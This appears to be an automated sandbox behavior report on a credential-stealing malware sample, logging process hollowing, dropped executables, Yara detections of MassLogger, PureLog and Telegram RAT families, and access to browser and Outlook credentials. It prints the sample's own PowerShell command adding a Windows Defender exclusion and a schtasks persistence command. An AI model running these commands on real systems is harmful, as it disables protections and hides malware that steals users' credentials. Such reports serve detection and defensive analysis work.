Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 19_2_00416F6A SetUnhandledExceptionFilter,UnhandledExceptionFilter,	19_2_00416F6A
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 19_2_004123F1 SetUnhandledExceptionFilter,	19_2_004123F1
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 19_1_0040CE09 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	19_1_0040CE09
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 19_1_0040E61C IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	19_1_0040E61C
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 19_1_00416F6A SetUnhandledExceptionFilter,UnhandledExceptionFilter,	19_1_00416F6A
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 19_1_004123F1 SetUnhandledExceptionFilter,	19_1_004123F1

Source: C:\Users\Public\Libraries\rpkhzpuO.pif

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

.NET source code references suspicious native API functions

Source: Microsofts.exe.4.dr, FFDecryptor.cs	Reference to suspicious API methods: Marshal.GetDelegateForFunctionPointer(GetProcAddress(hModule, method), typeof(T))
Source: Microsofts.exe.4.dr, FFDecryptor.cs	Reference to suspicious API methods: hModuleList.Add(LoadLibrary(text9 + "\\mozglue.dll"))
Source: Microsofts.exe.4.dr, UltraSpeed.cs	Reference to suspicious API methods: MapVirtualKey(VKCode, 0u)

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\ACCApi'
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\ACCApi'			Jump to behavior

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\PO_B2W984.com	Memory allocated: C:\Users\Public\Libraries\rpkhzpuO.pif base: 400000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Memory allocated: C:\Users\Public\Libraries\rpkhzpuO.pif base: 400000 protect: page execute and read and write
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Memory allocated: C:\Users\Public\Libraries\rpkhzpuO.pif base: 400000 protect: page execute and read and write

Sample uses process hollowing technique

Source: C:\Users\user\Desktop\PO_B2W984.com	Section unmapped: C:\Users\Public\Libraries\rpkhzpuO.pif base address: 400000	Jump to behavior
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section unmapped: C:\Users\Public\Libraries\rpkhzpuO.pif base address: 400000
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section unmapped: C:\Users\Public\Libraries\rpkhzpuO.pif base address: 400000

Writes to foreign memory regions

Source: C:\Users\user\Desktop\PO_B2W984.com	Memory written: C:\Users\Public\Libraries\rpkhzpuO.pif base: 39A008	Jump to behavior
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Memory written: C:\Users\Public\Libraries\rpkhzpuO.pif base: 241008
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Memory written: C:\Users\Public\Libraries\rpkhzpuO.pif base: 200008

Source: C:\Users\user\Desktop\PO_B2W984.com	Process created: C:\Users\Public\Libraries\rpkhzpuO.pif C:\Users\Public\Libraries\rpkhzpuO.pif	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process created: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe "C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe"	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process created: C:\Users\user\AppData\Local\Temp\Microsofts.exe "C:\Users\user\AppData\Local\Temp\Microsofts.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\ACCApi'	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "schtasks.exe" /create /tn AccSys /tr "C:\Users\user\AppData\Roaming\ACCApi\apihost.exe" /st 20:52 /du 23:59 /sc daily /ri 1 /f	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Process created: C:\Users\user\AppData\Roaming\ACCApi\apihost.exe "C:\Users\user\AppData\Roaming\ACCApi\apihost.exe"	Jump to behavior
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process created: C:\Users\Public\Libraries\rpkhzpuO.pif C:\Users\Public\Libraries\rpkhzpuO.pif
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process created: C:\Users\Public\Libraries\rpkhzpuO.pif C:\Users\Public\Libraries\rpkhzpuO.pif

Source: C:\Users\user\Desktop\PO_B2W984.com	Code function: GetModuleFileNameA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,lstrcpynA,GetThreadLocale,GetLocaleInfoA,lstrlenA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,	0_2_02DD5A78
Source: C:\Users\user\Desktop\PO_B2W984.com	Code function: GetLocaleInfoA,	0_2_02DDA790
Source: C:\Users\user\Desktop\PO_B2W984.com	Code function: GetLocaleInfoA,	0_2_02DDA744
Source: C:\Users\user\Desktop\PO_B2W984.com	Code function: lstrcpynA,GetThreadLocale,GetLocaleInfoA,lstrlenA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,	0_2_02DD5B84
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: GetLocaleInfoA,	4_1_00417A20
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Code function: GetModuleFileNameA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,lstrcpyn,GetThreadLocale,GetLocaleInfoA,lstrlen,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,	12_2_02E15A78
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Code function: GetLocaleInfoA,	12_2_02E1A790
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Code function: lstrcpyn,GetThreadLocale,GetLocaleInfoA,lstrlen,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,	12_2_02E15B83
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: GetLocaleInfoA,	15_2_00417A20
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: GetLocaleInfoA,	15_1_00417A20
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Code function: GetModuleFileNameA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,lstrcpyn,GetThreadLocale,GetLocaleInfoA,lstrlen,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,	16_2_02E25A78
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Code function: GetLocaleInfoA,	16_2_02E2A790
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Code function: lstrcpyn,GetThreadLocale,GetLocaleInfoA,lstrlen,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,	16_2_02E25B83
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: GetLocaleInfoA,	19_2_00417A20
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: GetLocaleInfoA,	19_1_00417A20

Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Microsofts.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.746.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\ACCApi\apihost.exe	Queries volume information: C:\Users\user\AppData\Roaming\ACCApi\apihost.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\ACCApi\apihost.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\ACCApi\apihost.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\ACCApi\apihost.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation

Source: C:\Users\user\Desktop\PO_B2W984.com

Code function: 0_2_02DD918C GetLocalTime,

0_2_02DD918C

Source: C:\Users\user\Desktop\PO_B2W984.com

Code function: 0_2_02DDB70C GetVersionExA,

0_2_02DDB70C

Source: C:\Users\Public\Libraries\rpkhzpuO.pif

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected MassLogger RAT

Source: Yara match	File source: 6.0.Microsofts.exe.800000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000000.22971337611.0000000000802000.00000002.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Microsofts.exe PID: 4824, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\Microsofts.exe, type: DROPPED

Yara detected PureLog Stealer

Source: Yara match	File source: 15.2.rpkhzpuO.pif.2d5d4e5e.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.rpkhzpuO.pif.335e0000.11.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.rpkhzpuO.pif.30783f56.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.rpkhzpuO.pif.32f70000.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.rpkhzpuO.pif.2da40f08.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.rpkhzpuO.pif.31996478.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.rpkhzpuO.pif.2da40000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.rpkhzpuO.pif.2d5d3f56.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.rpkhzpuO.pif.319d3d90.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.rpkhzpuO.pif.2ea96478.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.rpkhzpuO.pif.31995570.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.rpkhzpuO.pif.30784e5e.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.rpkhzpuO.pif.31996478.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.rpkhzpuO.pif.30783f56.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.3.rpkhzpuO.pif.2e8737c8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.rpkhzpuO.pif.2d5d4e5e.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.rpkhzpuO.pif.2ead3d90.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.rpkhzpuO.pif.2ead3d90.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.3.rpkhzpuO.pif.2b733e10.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.rpkhzpuO.pif.32f70f08.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.rpkhzpuO.pif.304e0000.11.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.rpkhzpuO.pif.30784e5e.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.rpkhzpuO.pif.32f70000.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.3.rpkhzpuO.pif.2761c6f8.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.rpkhzpuO.pif.2ea95570.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.rpkhzpuO.pif.335e0000.11.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.3.rpkhzpuO.pif.2e8737c8.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.rpkhzpuO.pif.32f70f08.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.rpkhzpuO.pif.2ea95570.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.rpkhzpuO.pif.304e0000.11.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.rpkhzpuO.pif.319d3d90.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.rpkhzpuO.pif.31995570.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.3.rpkhzpuO.pif.2b733e10.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.rpkhzpuO.pif.2d5d3f56.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.rpkhzpuO.pif.2da40000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.rpkhzpuO.pif.2ea96478.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.rpkhzpuO.pif.2da40f08.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.3.rpkhzpuO.pif.2761c6f8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000013.00000002.23188607246.0000000030743000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.23112425454.000000002DA40000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.22965228435.000000002761C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000003.23062543754.000000002B733000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.23190771291.0000000032F70000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.23191645092.00000000335E0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.23114375641.000000002EA95000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.23111776153.000000002D593000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000003.23143070311.000000002E873000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.23190455309.0000000031995000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.23115572603.00000000304E0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 6.0.Microsofts.exe.800000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000000.22971337611.0000000000802000.00000002.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Microsofts.exe PID: 4824, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\Microsofts.exe, type: DROPPED

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data			Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: Yara match	File source: 6.0.Microsofts.exe.800000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.24180228176.0000000002DA8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.22971337611.0000000000802000.00000002.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Microsofts.exe PID: 4824, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\Microsofts.exe, type: DROPPED

Remote Access Functionality

Yara detected MassLogger RAT

Source: Yara match	File source: 6.0.Microsofts.exe.800000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000000.22971337611.0000000000802000.00000002.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Microsofts.exe PID: 4824, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\Microsofts.exe, type: DROPPED

Yara detected PureLog Stealer

Source: Yara match	File source: 15.2.rpkhzpuO.pif.2d5d4e5e.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.rpkhzpuO.pif.335e0000.11.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.rpkhzpuO.pif.30783f56.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.rpkhzpuO.pif.32f70000.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.rpkhzpuO.pif.2da40f08.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.rpkhzpuO.pif.31996478.8.raw.unpack, type: UNPACKEDPE
